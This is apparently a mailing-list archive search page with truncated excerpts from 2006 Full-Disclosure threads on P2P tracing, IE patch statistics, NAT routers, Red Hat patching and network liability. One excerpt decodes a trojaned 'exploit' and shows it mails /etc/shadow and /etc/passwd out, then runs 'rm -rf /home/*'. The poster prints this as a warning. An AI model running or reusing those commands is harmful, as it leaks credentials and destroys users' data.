N/A.
Ebay would pull the auction prior to anyone finding out...
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Georgi
Guninski
Sent: Wednesday, January 04, 2006 4:57 PM
To: Todd Towles
Cc: full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure
Not to defend the RIAA, but remember that with peer-2-peer filesharing
you don't have to connect to the machine you want to download the
files from. You are both connected to a database, and the database
can instruct the person with the file what machine to send it to.
Otherwise no one behind a NA
Might be, if I could believe the stats... The problem is, that stats
are messed up. It claims only 8 critical flaws in IE this year, and
a low average time for fixing the flaws. That number may be correct
in terms of critical flaws, but some of the critical flaws in IE were
found last year (and
I know, common knowledge ignored but for those wanting a
clue
It's not an exploit if you are already root and just tell the system
to trash itself. ;)
Denial of service for youself is also not a 0day. In some cases it
may be interesting if you can kick a service down for other use
6.2? What is that??? Latest kernel is 2.6...
This is true of the default install of almost every Unix-like OS
including Solaris and, and ever Windows OS including Windows 2003
(although the files you have to alter are different in Windows). (Of
course with windows you generally need at least a
Some low-end NAT routers will automatically take over the MAC address
of the first device plugged into it. (Designed to allow easy
plug-n-play into a cable modem that only supports one MAC address
behind it, without having to reboot the cable modem). It will fail
detection if such a device is use
Problem with prosecution...
Most X-Rays will not damage most hard drives. Hard drives are
shielded.
Proof of no mutation is the checksums on each sector of the hard
drive. Unless those fail to pass, the data didn't "mutate".
> -Original Message-
> From: [EMAIL PROTECTED]
[mailto:full-d
Redhat typically patches items such as sendmail without changing the
version number ("rpm -q sedmail" to get the full redhat version). So,
many of the exploits for 8.8 probably are not there, assuming the
system was kept up2date while RedHat supported 6.2... Of course,
RedHat hasn't supported 6.2
Not that anyone would fall for running this on anything besides a test
system, but to save 30 second to decode, what it really does (locally,
not remotely) is:
cat /etc/shadow |mail full-disclosure@lists.grok.org.uk
cat /etc/passwd |mail full-disclosure@lists.grok.org.uk
/bin/rm -rf /home/*;clear
Although not directly liable, you must be able to say who had what IP
at a certain time time when bad activity came from your network... If
you are unable to provide that information, you are then liable...
We too are semi-open. You can get a DHCP address, access our public
websites, our DNS ser
10 matches
Mail list logo
